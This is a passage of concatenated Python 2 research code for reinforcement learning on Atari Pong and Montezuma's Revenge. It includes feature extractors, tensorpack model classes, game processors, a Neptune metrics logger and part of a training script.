current_offset += offset
return res
findPongObjectsNumpyExtended_input_shape = (160 * 6 * FRAME_HISTORY,)
@staticmethod
def findPongObjectsNumpyExtended(observation):
ball = (84, 6)
computerPlayer = (0, 0)
agentPlayer = (0, 0)
positons = np.argwhere(observation[34:193, 15:145, 0] == 236)
if positons.size != 0:
ball = positons[0]
positons = np.argwhere(observation[34:193, 15:145, 0] == 213)
if positons.size != 0:
computerPlayer = positons[0]
positons = np.argwhere(observation[34:193, 15:145, 0] == 92)
if positons.size != 0:
agentPlayer = positons[0]
return SimplifiedPongExperimentModel._unary_pack(160, ball[0], ball[1], computerPlayer[0],
computerPlayer[1], agentPlayer[0], agentPlayer[1])
findPongObjectsNumpyDifferenceExtended_input_shape = (160 * 6 * FRAME_HISTORY,)
@staticmethod
def findPongObjectsNumpyDifferenceExtended(observation):
ball = (84, 6)
computerPlayer = (0, 0)
agentPlayer = (0, 0)
positons = np.argwhere(observation[34:193, 15:145, 0] == 236)
if positons.size != 0:
ball = positons[0]
positons = np.argwhere(observation[34:193, 15:145, 0] == 213)
if positons.size != 0:
computerPlayer = positons[0]
positons = np.argwhere(observation[34:193, 15:145, 0] == 92)
if positons.size != 0:
agentPlayer = positons[0]
diff1 = max(ball[0] - agentPlayer[0], 0)
diff2 = max(agentPlayer[0] - ball[0], 0)
# print "Informations to send {} {} {} {} {} {}".format(ball[0], ball[1], computerPlayer[0], agentPlayer[0], diff1, diff2)
return _unary_representation((ball[0], ball[1], computerPlayer[0], agentPlayer[0], diff1, diff2), (160,)*6)
@staticmethod
def _create_unary_matrix(x, y, size):
ones = np.ones((x, y))
return np.lib.pad(ones, ((0, size-x), (0, size -y)), 'constant', constant_values=(0))
DOWNSAMPLE = 1
INPUT_SIZE = 160 / DOWNSAMPLE
findPongObjectsFullUnary_input_shape = (INPUT_SIZE * INPUT_SIZE * 2 * FRAME_HISTORY,)
@staticmethod
def findPongObjectsFullUnary(observation):
# print "True unnary!"
ball = (84, 6)
computerPlayer = (1, 1)
agentPlayer = (1, 1)
positons = np.argwhere(observation[34:193, 15:145, 0] == 236)
if positons.size != 0:
ball = positons[0]
positons = np.argwhere(observation[34:193, 15:145, 0] == 213)
if positons.size != 0:
computerPlayer = positons[0]
positons = np.argwhere(observation[34:193, 15:145, 0] == 92)
if positons.size != 0:
agentPlayer = positons[0]
#
# ball_array = SimplifiedPongExperimentModel.\
# _create_unary_matrix(ball[0] / SimplifiedPongExperimentModel.DOWNSAMPLE,
# balogitsll[1] / SimplifiedPongExperimentModel.DOWNSAMPLE,
# SimplifiedPongExperimentModel.INPUT_SIZE)
# agents_array = SimplifiedPongExperimentModel.\
# _create_unary_matrix(computerPlayer[0] / SimplifiedPongExperimentModel.DOWNSAMPLE,
# agentPlayer[0] / SimplifiedPongExperimentModel.DOWNSAMPLE,
# SimplifiedPongExperimentModel.INPUT_SIZE)
#
_size = SimplifiedPongExperimentModel.INPUT_SIZE
_ds = SimplifiedPongExperimentModel.DOWNSAMPLE
ball_array = np.zeros((_size, _size))
agents_array = np.zeros((_size, _size))
ball_array[ball[0]/_ds, ball[1]/_ds] = 1
agents_array[computerPlayer[0]/_ds, agentPlayer[0]/_ds] =1
concatenated = np.concatenate((ball_array, agents_array))
res = np.reshape(concatenated, (SimplifiedPongExperimentModel.INPUT_SIZE*
SimplifiedPongExperimentModel.INPUT_SIZE*2,))
return res
class SimplifiedPongExperimentModelFC(SimplifiedPongExperimentModel):
def _get_NN_prediction(self, image):
l = image
for i in xrange(0, self.number_of_layers):
l = FullyConnected('fc{}'.format(i), l, self.number_of_neurons, nl=tf.identity)
l = PReLU('prelu{}'.format(i), l)
# summary.add_activation_summary(l, "fc {} relu output".format(i))
policy = FullyConnected('fc-pi', l, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', l, 1, nl=tf.identity)
return policy, value
class SimplifiedPongAtariExperimentModelFCFlatten(SimplifiedPongExperimentModel):
def _get_NN_prediction(self, image):
l = tf.reshape(image, [-1, 24])
for i in xrange(0, self.number_of_layers):
l = FullyConnected('fc{}'.format(i), l, self.number_of_neurons, nl=tf.identity)
l = PReLU('prelu{}'.format(i), l)
policy = FullyConnected('fc-pi', l, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', l, 1, nl=tf.identity)
return policy, value
class SimplifiedPongExperimentModelFCWithImpactPoint(SimplifiedPongExperimentModel):
def _get_NN_prediction(self, image):
l = tf.reshape(image, [-1, 24])
# This calculates the position of ball when hitting the plane of the agent
xNew = image[:, 0, 1, 3]
yNew = image[:, 0, 0, 3]
xOld = image[:, 0, 1, 2]
yOld = image[:, 0, 0, 2]
yPredicted = yNew + (yNew - yOld) * (0.125 - xNew) / (xNew - xOld + 0.005)
yPredictedTruncated = tf.maximum(tf.minimum(yPredicted, 1), -1)
yPredictedTruncated = tf.expand_dims(yPredictedTruncated, 1)
summary.add_activation_summary(yPredictedTruncated, "yPredicted")
l = tf.concat(1, [l, yPredictedTruncated])
for i in xrange(0, self.number_of_layers):
l = FullyConnected('fc{}'.format(i), l, self.number_of_neurons, nl=tf.identity)
l = PReLU('prelu{}'.format(i), l)
# summary.add_activation_summary(l, "fc {} relu output".format(i))
policy = FullyConnected('fc-pi', l, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', l, 1, nl=tf.identity)
return policy, value
class SimplifiedPongExperimentStagedFC(SimplifiedPongExperimentModel):
def __init__(self, parameters, stage):
# Paramters are (number_of_layers, number_of_neurons, extractor_method) or
# (number_of_layers_0, number_of_neurons_0, number_of_layers_1, number_of_neurons_1, ..,
# number_of_layers_stage_n, number_of_neurons_stage_n, extractor_method)
params = parameters.split(" ")
self.extractor_method_name = params[-1]
layers_params = params[:-1]
layers_params = layers_params*20 # This is to handle the first type of parametes and backward comaptibility
self.number_of_layers = map(lambda x: int(x), layers_params[::2])
self.number_of_neurons = map(lambda x: int(x), layers_params[1::2])
# print self.number_of_layers
# print self.number_of_neurons
# assert False, "Tak tak"
self.extractor_method = getattr(SimplifiedPongExperimentModel, self.extractor_method_name)
assert hasattr(SimplifiedPongExperimentModel, self.extractor_method_name + "_input_shape"), "An extractor " \
"method xyz must be accompanied by a variable xyz_input_shape," \
"who secify the shape of the network input"
self.input_shape = getattr(SimplifiedPongExperimentModel, self.extractor_method_name + "_input_shape")
self.stage = stage
def add_column(self, previous_column_layers, column_num, trainable = True):
print "Creating column:{}".format(column_num)
column_prefix = "-column-"
# column_num = ""
# print "Adding column:{}".format(column_num)
new_column = []
# We append this as this is input
new_column.append(previous_column_layers[0])
for i in xrange(1, self.number_of_layers[self.stage]+1):
input_neurons = new_column[-1]
l = FullyConnected('fc-{}{}{}'.format(i, column_prefix, column_num),
input_neurons, self.number_of_neurons[self.stage], nl=tf.identity, trainable=trainable)
l = PReLU('prelu-{}{}{}'.format(i, column_prefix, column_num), l)
if len(previous_column_layers)>i:
new_layer = tf.concat(1, [previous_column_layers[i], l])
else:
new_layer = l
new_column.append(new_layer)
last_hidden_layer = new_column[-1]
policy = FullyConnected('fc-pi{}{}'.format(column_prefix, column_num),
last_hidden_layer, out_dim=self.number_of_actions, nl=tf.identity, trainable=trainable)
value = FullyConnected('fc-v{}{}'.format(column_prefix, column_num),
last_hidden_layer, 1, nl=tf.identity, trainable=trainable)
visible_layer = tf.concat(1, [policy, value])
new_column.append(visible_layer)
return new_column, policy, value
def _get_NN_prediction(self, image):
print "Current stage is:{}".format(self.stage)
column = [image]
for stage in xrange(self.stage):
column, _, _ = self.add_column(column, stage, trainable = False)
#The final tower
column, policy, value = self.add_column(column, self.stage, trainable=True)
return policy, value
class NonMarkovExperimentModel(AtariExperimentModel):
def __init__(self, parameters):
self.input_shape = (30, 30*FRAME_HISTORY)
self.numberOfLayers = int(parameters.split(" ")[0])
self.numberOfNeurons = int(parameters.split(" ")[1])
def get_screen_processor(self):
return lambda x:x
def _get_NN_prediction(self, image):
l = image
for i in xrange(0, self.numberOfLayers):
l = FullyConnected('fc{}'.format(i), l, self.numberOfNeurons, nl=tf.identity)
l = PReLU('prelu{}'.format(i), l)
# summary.add_activation_summary(l, "fc {} relu output".format(i))
policy = FullyConnected('fc-pi', l, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', l, 1, nl=tf.identity)
return policy, value<file_sep>/examples/OpenAIGym/NeptuneRun.py
import sys
import os
reload(sys)
# We do support UTF-8 encoding only.
sys.setdefaultencoding('UTF8') # For current process.
os.environ['PYTHONIOENCODING'] = 'UTF-8' # For child processes.
from deepsense.neptune.cli.run import run
import pip
installed_packages = pip.get_installed_distributions()
HOME_DIR = os.getenv("HOME")
HOME_DIR = "/home/piotr.milos"
ROOT = os.path.join(HOME_DIR, "rl2")
# ROOT = os.path.join(HOME_DIR, "PycharmProjects/rl2")
EXPERIMENTS_DIR = os.path.join(ROOT, "NeptuneIntegration", "Experiments")
EXPERIMENTS_DUMPS = os.path.join(ROOT, "NeptuneIntegration", "Neptune_dumps")
if len(sys.argv)==1:
print "Provide the name of the experiment (the name of the configuration yaml file without suffix"
sys.exit(1)
experiment_name = sys.argv[1]
experiment_yaml = os.path.join(EXPERIMENTS_DIR, experiment_name+".yaml")
experiment_dump = os.path.join(EXPERIMENTS_DUMPS, experiment_name)
paramtersList = ["run", "train_atari_with_neptune_proxy.py", "--config", experiment_yaml, "--dump-dir", experiment_dump,
"--tags", "pmilos", "rl", "pong"]
run(paramtersList)<file_sep>/examples/OpenAIGym/game_processors.py
import numpy as np
from abc import ABCMeta, abstractmethod
from examples.OpenAIGym.train_atari_with_neptune import FRAME_HISTORY
def _unary_representation(values, sizes, type = 0):
all_results = []
try:
for x, size_x in zip(values, sizes):
x = int(x)
if type==0: #Fake unary but faster
# print "Fast type"
r = np.zeros(size_x)
r[x] = 1
else:
# print "Geunine types:({}, {}).".format(size_x, x)
if isinstance(x, int):
x = [x]
if isinstance(size_x, int):
size_x = [size_x]
r = np.ones(x)
pad_params = map(lambda (v1, v2): (0, v1 - v2), zip(size_x, x))
r = np.lib.pad(r, pad_params, 'constant', constant_values=(0))
all_results.append(r.flatten())
except IndexError:
print "Index error with values:{} and sizes:{}".format(values, sizes)
raise IndexError
return np.concatenate(all_results)
class GameProcessor(object):
__metaclass__ = ABCMeta
@abstractmethod
def process_screen(self, input):
"""Get the method to process raw imput"""
@abstractmethod
def process_history(self, input):
"""Process history"""
@abstractmethod
def get_input_shape(self):
"""Return the shape of input"""
class AbstractPongFeatureGameProcessor(GameProcessor):
@abstractmethod
def get_input_shape(self):
"""What is the shape."""
# return 160*self.number_of_features*FRAME_HISTORY
@abstractmethod
def process_history(self, input):
"""How to process history"""
def process_screen(self, observation):
ball = ([0.84], [0.6])
computerPlayer = ([0.11], [0.12])
agentPlayer = ([0.22], [0.23])
positons = np.argwhere(observation[34:193, 15:145, 0] == 236)
if positons.size != 0:
ball = [[a / 100.0] for a in positons[0]]
# ballPerturbed = ([ball[0][0] + random.uniform(-0.02, 0.02)], [ball[1][0] - random.uniform(-0.02, 0.02)])
positons = np.argwhere(observation[34:193, 15:145, 0] == 213)
if positons.size != 0:
computerPlayer = [[a / 100.0] for a in positons[0]]
# computerPlayerPertrubed = ([computerPlayer[0][0] + random.uniform(-0.02, 0.02)], [computerPlayer[1][0] - random.uniform(-0.02, 0.02)])
positons = np.argwhere(observation[34:193, 15:145, 0] == 92)
if positons.size != 0:
agentPlayer = [[ a / 100.0] for a in positons[0]]
# agentPlayerPertrubed = ([agentPlayer[0][0] + random.uniform(-0.02, 0.02)], [agentPlayer[1][0] - random.uniform(-0.02, 0.02)])
res = np.asanyarray((ball, computerPlayer, agentPlayer))
return res
class BasicUnaryFeatureProcessor(AbstractPongFeatureGameProcessor):
def __init__(self, parameters):
self.conversion_typ = int(parameters[0])
assert self.conversion_typ==0 or self.conversion_typ==1, "Other types are not allowed."
def get_input_shape(self):
return (160*6*FRAME_HISTORY,)
def process_history(self, input):
res = input.flatten()
res = 100*res
# print "Position {}".format(res)
return _unary_representation(res.tolist(), (160,)*(6*FRAME_HISTORY), self.conversion_typ)
class UnaryRepresentationWithBallGradients(AbstractPongFeatureGameProcessor):
def __init__(self, parameters):
self.conversion_typ = int(parameters[0])
assert self.conversion_typ==0 or self.conversion_typ==1, "Other types are not allowed."
def get_input_shape(self):
return (160*6*FRAME_HISTORY + 20*6,)
def process_history(self, input):
res1 = input.flatten()
res1 = 100*res1
first_features_vect =\
_unary_representation(res1.tolist(), (160,) * (6 * FRAME_HISTORY), self.conversion_typ)
ball_y = 100*input[0,0,:]
ball_x = 100*input[0,1,:]
shift = 10
proc = lambda x: int( max(min(shift + x, 20),0))
diff_y = [proc(ball_y[i+1] - ball_y[i]) for i in xrange(3)]
diff_x = [proc(ball_x[i+1] - ball_x[i]) for i in xrange(3)]
# print "Differences:{}".format(diff_y)
diff_y_vect = _unary_representation(diff_y, (20, )*3, self.conversion_typ)
diff_x_vect = _unary_representation(diff_x, (20, )*3, self.conversion_typ)
res = np.concatenate((first_features_vect, diff_y_vect, diff_x_vect))
return res
class DifferencePongFeatureGameProcessor(AbstractPongFeatureGameProcessor):
def __init__(self, parameters):
pass
def get_input_shape(self):
return (6*FRAME_HISTORY,)
def process_history(self, input):
# input[0,0,:] ball_y
# input[0,1,:] ball_x
# input[1,0,:] computer_y
# input[1,1,:] computer_x
# input[2,0,:] agent_y
# input[2,1,:] agent_x
res = np.copy(input)
res[2,0,:] = res[2,0,:] - res[0,0,:]
# print "Res:{}".format(res[:,:,3])
res = input.flatten()
return res
class BallDifferencesPongFeature2GameProcessor(AbstractPongFeatureGameProcessor):
def __init__(self, parameters):
pass
def get_input_shape(self):
return (6*FRAME_HISTORY+2,)
def process_history(self, input):
# input[0,0,:] ball_y
# input[0,1,:] ball_x
# input[1,0,:] computer_y
# input[1,1,:] computer_x
# input[2,0,:] agent_y
# input[2,1,:] agent_x
res = np.copy(input)
res[2,0,:] = res[2,0,:] - res[0,0,:]
# print "AA:{}, {}, {}, {}, {}".format(input[0,0,0], input[0,0,1], input[0,0,2],
# input[0,0,3], input[0,0,3] + (input[0,0,3] - input[0,0,2]))
# Prediction of the position of the ball in the next step.
ball_in_the_next_step = (input[0,0,3] + (input[0,0,3] - input[0,0,2]),
input[0,1,3] + (input[0,1,3] - input[0,1,2]))
res2 = np.array(ball_in_the_next_step)
res = np.concatenate((input.flatten(), res2))
return res
class BallDifferencesPongFeatureGameProcessor(AbstractPongFeatureGameProcessor):
def __init__(self, parameters):
pass
def get_input_shape(self):
return (6*FRAME_HISTORY+6,)
def process_history(self, input):
# input[0,0,:] ball_y
# input[0,1,:] ball_x
# input[1,0,:] computer_y
# input[1,1,:] computer_x
# input[2,0,:] agent_y
# input[2,1,:] agent_x
res = np.copy(input)
res[2,0,:] = res[2,0,:] - res[0,0,:]
diffs = (input[0,0,0] - input[0,0,1], input[0,0,1] - input[0,0,2], input[0,0,2] - input[0,0,3],
input[0,1,0] - input[0,1,1], input[0,1,1] - input[0,1,2], input[0,1,2] - input[0,1,3])
res2 = np.array(diffs)
res = np.concatenate((input.flatten(), res2))
return res
class BasicPongFeatureGameProcessor(AbstractPongFeatureGameProcessor):
"""Do nothing ;)"""
def __init__(self, parameters):
pass
def get_input_shape(self):
return (6*FRAME_HISTORY,)
def process_history(self, input):
res = input.flatten()
return res<file_sep>/tensorpack/callbacks/neptune.py
import glob
import os
import random
import threading
import PIL.Image as Image
from deepsense import neptune
from ..tfutils import get_global_step, get_global_step_var
from tensorpack.callbacks.base import Callback
import tensorflow as tf
# __all__ = ['register_summaries']
NEPTUNE_LOGGER = None
class NeptuneLogger(Callback):
"""
Sends information to Neptune
"""
INSTANCE = None
@staticmethod
def get_instance():
if NeptuneLogger.INSTANCE == None:
print "Creating NeptuneLogger instance"
ctx = neptune.Context()
NeptuneLogger.INSTANCE = NeptuneLogger(ctx)
# and channels: {}
# ".format(id(self), self.image_channel
#
# obj = NeptuneLogger.INSTANCE
# print "Getting instance:{} of type:{} and channels: {} with getter:{} in " \
# "thread: {}, pid: {}".format(id(obj), type(obj), obj.image_channel, obj.get_image_channel(), threading.current_thread, os.getpid())
return NeptuneLogger.INSTANCE
# def __copy__(self):
# raise AttributeError
#
# def __deepcopy__(self):
# raise AttributeError
def get_image_channel(self):
return self.image_channel
def __init__(self, ctx, logging_step=100):
global NEPTUNE_LOGGER
NeptuneLogger.INSTANCE = self
assert NEPTUNE_LOGGER == None, "NeptuneLogger is a singleton class"
NEPTUNE_LOGGER = self
self.neptuneContext = ctx
# This one is automathically mamanged
self.summariesDict = {}
# These are channels added by add_channels. They need by be feed manully.
self.summariesDict2 = {}
self.logging_step = logging_step
self.channels_created = False
self.image_channel = None
self.image_index = 0
self._id = random.randint(1, 100)
self.image_index = 0
def trigger_step(self):
obj = self
# print "Neptune instance:{} of type:{} and channels: {} with getter:{} in " \
# "thread: {}, pid: {}".format(id(obj), type(obj), obj.image_channel, obj.get_image_channel(), threading.current_thread, os.getpid())
if not self.channels_created:
self._create_channels()
self._create_charts((10, 10, 6, 6, 6), ("rewards", "levels", "lives0", "lives1", "lives2"))
self.channels_created = True
step = get_global_step()
if step % self.logging_step == 0 and step>= 100: #We skip some preliminary steps when the averages warm up
summaryObject = tf.Summary.FromString(self.trainer.summary_op.eval())
for val in summaryObject.value:
if val.WhichOneof('value') == 'simple_value' and val.tag in self.summariesDict:
channel = self.summariesDict[val.tag]
channel.send(x = step, y = val.simple_value)
# if val.WhichOneof('value') == 'histo' and val.tag in self.summariesDict:
# channel = self.summariesDict[val.tag]
image = val.image
# channel.send(
# x=1,
# y=neptune.Image(
# name='#1 image name',
# description='#1 image description',
# data=Image.open("/home/ubuntu/image1.jpg")))
images_list = glob.glob("/tmp/screen*.png")
for f in images_list:
try:
self.image_index += 1
pil_image = Image.open(f)
self.image_channel.send(x=self.image_index,
y=neptune.Image(
name='screenshot',
description=self.image_index,
data=pil_image))
os.remove(f)
except IOError:
print "Something went wrong with:{}".format(f)
# pil_image = Image.open("/tmp/screen1000.png")
#
def _before_train(self):
pass
# This should be invoked here but for some reasons does not work as a work around we invoke it in trigger step
# self._create_channels()
def _create_channels(self):
# print "Creating channels for {}".format(self._id)
self.image_channel = self.neptuneContext.\
job.create_channel(name="game screenshots", channel_type=neptune.ChannelType.IMAGE)
# print "Creating channels: {}!".format(self.image_channel)
# We automatically harvest all possibly tags
summaryObject = tf.Summary.FromString(self.trainer.summary_op.eval())
for val in summaryObject.value:
if val.WhichOneof('value') == 'simple_value':
summaryName = val.tag
# print "Summary name:{}".format(summaryName)
self.summariesDict[summaryName] \
= self.neptuneContext.job.create_channel(name=summaryName,
channel_type=neptune.ChannelType.NUMERIC)
# if val.WhichOneof('value') == "histo":
# summaryName = val.tag + " histogram"
# self.summariesDict[summaryName] \
# = self.neptuneContext.job.create_channel(name=summaryName,
# channel_type=neptune.ChannelType.IMAGE, is_history_persisted=False)
# print "ALL channels:{}".format(self.neptuneContext.job._channels)
# print "self.image_channel:{}".format(self.image_channel)
# self.xxx = 15
# self.send_image_1(None)
def _create_charts(self, sizes, names):
channel_names = self.summariesDict.keys()
for size, name in zip(sizes, names):
series = {}
for s in xrange(size):
var_name = name + "_{}".format(s)+"_vis"
series[var_name] = self.summariesDict[var_name]
channel_names.remove(var_name)
self.neptuneContext.job.create_chart(name, series=series)
for n in channel_names:
self.neptuneContext.job.create_chart(n, series={n: self.summariesDict[n]})
def send_image(self, pil_image):
self.image_queue.append(pil_image)
# self.image_index += 1
# if self.image_index > 200 and self.image_index%100 ==0 :
# print "Sending image of index:{} to {}".format(self.image_index, pil_image, self.image_channel)
# pil_image.save("/tmp/screen{}.png".format(self.image_index), "PNG")
# self.image_channel.send(x=self.image_index,
# y=neptune.Image(
# name='screenshot',
# description='debuging screenshot',
# data=pil_image))
#
# def send_image_1(self, pil_image):
# print "self.image_channel2:{}".format(self.image_channel)
# print "Trying to send a picture:{} and {}".format(self._id, self.image_channel)
# print "ALL channels here:{}".format(neptune.Context().job._channels)
# print "XXX:{}".format(self.xxx)
# self.image_index += 1
# # if self.image_index > 200:
# # print "Trying to send a picture:{} and ".format(self._id, self.image_channel)
# # print "ALL channels here:{}".format(neptune.Context().job._channels)
# # # if self.image_channel != None:
# # print "Sending image!"
# # self.image_channel.send(x=self.image_index,
# # y=neptune.Image(
# # name='screenshot',
# # description='debuging screenshot',
# # data=pil_image))
#
def add_channels(self, summariesList):
for summaryName in summariesList:
self.summariesDict2[summaryName] \
= self.neptuneContext.job.create_channel(name=summaryName, channel_type=neptune.ChannelType.NUMERIC)
def sendMassage(self, channelName, x, y):
self.summariesDict2[channelName].send(x = x, y = y)
<file_sep>/examples/OpenAIGym/train_atari_with_neptune.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# File: train-atari.py
# Author: <NAME> <<EMAIL>>
import argparse
import json
import multiprocessing
import uuid
import numpy as np
import time
from deepsense import neptune
from six.moves import queue
import examples.OpenAIGym.common
from examples.OpenAIGym.common import (play_model, Evaluator, eval_model_multithread)
from tensorpack import *
from tensorpack.RL import *
from tensorpack.RL.common import MapPlayerState, PreventStuckPlayer, LimitLengthPlayer
from tensorpack.RL.gymenv import GymEnv
from tensorpack.RL.history import HistoryFramePlayer
from tensorpack.RL.simulator import SimulatorMaster, SimulatorProcess, TransitionExperience
from tensorpack.callbacks.base import Callback, PeriodicCallback
from tensorpack.callbacks.common import ModelSaver
from tensorpack.callbacks.concurrency import StartProcOrThread
from tensorpack.callbacks.group import Callbacks
from tensorpack.callbacks.neptune import NeptuneLogger
from tensorpack.callbacks.param import ScheduledHyperParamSetter, HumanHyperParamSetter, NeputneHyperParamSetter
from tensorpack.callbacks.stats import StatPrinter
from tensorpack.dataflow.common import BatchData
from tensorpack.dataflow.raw import DataFromQueue
from tensorpack.models.fc import FullyConnected
from tensorpack.models.model_desc import ModelDesc, InputVar, get_current_tower_context
from tensorpack.models.nonlin import PReLU
from tensorpack.predict.common import PredictConfig
from tensorpack.predict.concurrency import MultiThreadAsyncPredictor
from tensorpack.tfutils import summary
from tensorpack.tfutils import symbolic_functions as symbf
from tensorpack.tfutils.common import get_default_sess_config
from tensorpack.tfutils.gradproc import SummaryGradient, MapGradient
from tensorpack.tfutils.sessinit import SaverRestore
from tensorpack.train.config import TrainConfig
from tensorpack.train.multigpu import AsyncMultiGPUTrainer
from tensorpack.utils.concurrency import *
from tensorpack.utils.gpu import get_nr_gpu
from tensorpack.utils.serialize import *
import examples.OpenAIGym.non_makov_test as nmt
# TODO: PM This is the version for the simplistic pong
IMAGE_SIZE = (3, 2)
# IMAGE_SIZE = (84, 84)
FRAME_HISTORY = 4
GAMMA = 0.99
CHANNEL = FRAME_HISTORY * 1
# CHANNEL = FRAME_HISTORY * 3
IMAGE_SHAPE3 = IMAGE_SIZE + (CHANNEL,)
LOCAL_TIME_MAX = 5
# STEP_PER_EPOCH = 2000
# EVAL_EPISODE = 20
STEP_PER_EPOCH = 6000
EVAL_EPISODE = 5
BATCH_SIZE = 128
SIMULATOR_PROC = 30
PREDICTOR_THREAD_PER_GPU = 2
PREDICTOR_THREAD = None
EVALUATE_PROC = min(multiprocessing.cpu_count() // 2, 20)
NUM_ACTIONS = None
ENV_NAME = None
EXPERIMENT_MODEL = None
EXPERIMENT_ID = None
DEBUGING_INFO = 1
def get_player(viz=False, train=False, dumpdir=None):
# pl = None
# if ENV_NAME == "MultiRoomEnv":
# print "An awful hack for the moment"
# pl = nmt.NonMarkovEnvironment()
# else:
pl = GymEnv(ENV_NAME, dumpdir=dumpdir)
# print "HAS ATTR:{}".format(hasattr(pl, "experiment_id"))
if EXPERIMENT_ID != None and hasattr(pl.gymenv, "set_experiment_id"):
pl.gymenv.set_experiment_id(EXPERIMENT_ID)
pl = MapPlayerState(pl, EXPERIMENT_MODEL.get_screen_processor())
global NUM_ACTIONS
NUM_ACTIONS = pl.get_action_space().num_actions()
if hasattr(EXPERIMENT_MODEL, "get_history_processor"):
pl = HistoryFramePlayer(pl, FRAME_HISTORY, EXPERIMENT_MODEL.get_history_processor())
else:
pl = HistoryFramePlayer(pl, FRAME_HISTORY, )
if not train:
pl = PreventStuckPlayer(pl, 30, 1)
pl = LimitLengthPlayer(pl, 40000)
return pl
examples.OpenAIGym.common.get_player = get_player
class MySimulatorWorker(SimulatorProcess):
def _build_player(self):
return get_player(train=True)
class MySimulatorMaster(SimulatorMaster, Callback):
def __init__(self, pipe_c2s, pipe_s2c, model):
super(MySimulatorMaster, self).__init__(pipe_c2s, pipe_s2c)
self.M = model
self.queue = queue.Queue(maxsize=BATCH_SIZE*8*2)
def _setup_graph(self):
self.sess = self.trainer.sess
self.async_predictor = MultiThreadAsyncPredictor(
self.trainer.get_predict_funcs(['state'], ['logitsT', 'pred_value'],
PREDICTOR_THREAD), batch_size=15)
self.async_predictor.run()
def _on_state(self, state, ident):
def cb(outputs):
distrib, value = outputs.result()
assert np.all(np.isfinite(distrib)), distrib
action = np.random.choice(len(distrib), p=distrib)
client = self.clients[ident]
client.memory.append(TransitionExperience(state, action, None, value=value))
self.send_queue.put([ident, dumps(action)])
self.async_predictor.put_task([state], cb)
def _on_episode_over(self, ident):
self._parse_memory(0, ident, True)
def _on_datapoint(self, ident):
client = self.clients[ident]
if len(client.memory) == LOCAL_TIME_MAX + 1:
R = client.memory[-1].value
self._parse_memory(R, ident, False)
def _parse_memory(self, init_r, ident, isOver):
client = self.clients[ident]
mem = client.memory
if not isOver:
last = mem[-1]
mem = mem[:-1]
mem.reverse()
R = float(init_r)
for idx, k in enumerate(mem):
R = np.clip(k.reward, -1, 1) + GAMMA * R
# print "Clipping: {}".format(R)
self.queue.put([k.state, k.action, R])
if not isOver:
client.memory = [last]
else:
client.memory = []
def get_atribute(ctx, name, default_value = None):
# type: (Neptune.Context, string, object) -> object
if hasattr(ctx.params, name):
return getattr(ctx.params, name)
else:
return default_value
def set_motezuma_env_options(str, file):
with open(file, "w") as file:
file.write(str)
def get_config(ctx):
""" We use addiional id to make it possible to run multiple instances of the same code
We use the neputne id for an easy reference.
<EMAIL>
"""
global HISTORY_LOGS, EXPERIMENT_ID #Ugly hack, make it better at some point, may be ;)
id = ctx.job.id
EXPERIMENT_ID = hash(id)
import montezuma_env
ctx.job.register_action("Set starting point procssor:",
lambda str: set_motezuma_env_options(str, montezuma_env.STARTING_POINT_SELECTOR))
ctx.job.register_action("Set rewards:",
lambda str: set_motezuma_env_options(str, montezuma_env.REWARDS_FILE))
logger.auto_set_dir(suffix=id)
# (self, parameters, number_of_actions, input_shape)
M = EXPERIMENT_MODEL
name_base = str(uuid.uuid1())[:6]
PIPE_DIR = os.environ.get('TENSORPACK_PIPEDIR_{}'.format(id), '.').rstrip('/')
namec2s = 'ipc://{}/sim-c2s-{}-{}'.format(PIPE_DIR, name_base, id)
names2c = 'ipc://{}/sim-s2c-{}-{}'.format(PIPE_DIR, name_base, id)
procs = [MySimulatorWorker(k, namec2s, names2c) for k in range(SIMULATOR_PROC)]
ensure_proc_terminate(procs)
start_proc_mask_signal(procs)
master = MySimulatorMaster(namec2s, names2c, M)
dataflow = BatchData(DataFromQueue(master.queue), BATCH_SIZE)
# My stuff - PM
neptuneLogger = NeptuneLogger.get_instance()
lr = tf.Variable(0.001, trainable=False, name='learning_rate')
tf.scalar_summary('learning_rate', lr)
num_epochs = get_atribute(ctx, "num_epochs", 100)
rewards_str = get_atribute(ctx, "rewards", "5 1 -200")
with open(montezuma_env.REWARDS_FILE, "w") as file:
file.write(rewards_str)
if hasattr(ctx.params, "learning_rate_schedule"):
schedule_str = str(ctx.params.learning_rate_schedule)
else: #Default value inhereted from tensorpack
schedule_str = "[[80, 0.0003], [120, 0.0001]]"
logger.info("Setting learing rate schedule:{}".format(schedule_str))
learning_rate_scheduler = ScheduledHyperParamSetter('learning_rate', json.loads(schedule_str))
if hasattr(ctx.params, "entropy_beta_schedule"):
schedule_str = str(ctx.params.entropy_beta_schedule)
else: #Default value inhereted from tensorpack
schedule_str = "[[80, 0.0003], [120, 0.0001]]"
logger.info("Setting entropy beta schedule:{}".format(schedule_str))
entropy_beta_scheduler = ScheduledHyperParamSetter('entropy_beta', json.loads(schedule_str))
if hasattr(ctx.params, "explore_factor_schedule"):
schedule_str = str(ctx.params.explore_factor_schedule)
else: #Default value inhereted from tensorpack
schedule_str = "[[80, 2], [100, 3], [120, 4], [140, 5]]"
logger.info("Setting explore factor schedule:{}".format(schedule_str))
explore_factor_scheduler = ScheduledHyperParamSetter('explore_factor', json.loads(schedule_str))
return TrainConfig(
dataset=dataflow,
optimizer=tf.train.AdamOptimizer(lr, epsilon=1e-3),
callbacks=Callbacks([
StatPrinter(), ModelSaver(),
learning_rate_scheduler, entropy_beta_scheduler, explore_factor_scheduler,
HumanHyperParamSetter('learning_rate'),
HumanHyperParamSetter('entropy_beta'),
HumanHyperParamSetter('explore_factor'),
NeputneHyperParamSetter('learning_rate', ctx),
NeputneHyperParamSetter('entropy_beta', ctx),
NeputneHyperParamSetter('explore_factor', ctx),
master,
StartProcOrThread(master),
PeriodicCallback(Evaluator(EVAL_EPISODE, ['state'], ['logits'], neptuneLogger, HISTORY_LOGS), 1),
neptuneLogger,
]),
session_config=get_default_sess_config(0.5),
model=M,
step_per_epoch=STEP_PER_EPOCH,
max_epoch=num_epochs,
)
HISTORY_LOGS = None
def run_training(ctx):
"""
:type ctx: neptune.Context
"""
global ENV_NAME, PREDICTOR_THREAD, EXPERIMENT_MODEL, HISTORY_LOGS, DEBUGING_INFO, FRAME_HISTORY
ENV_NAME = ctx.params.env
assert ENV_NAME
DEBUGING_INFOING_INFO = hasattr(ctx.params, "debuging_info") and ctx.params.debuging_info == "True"
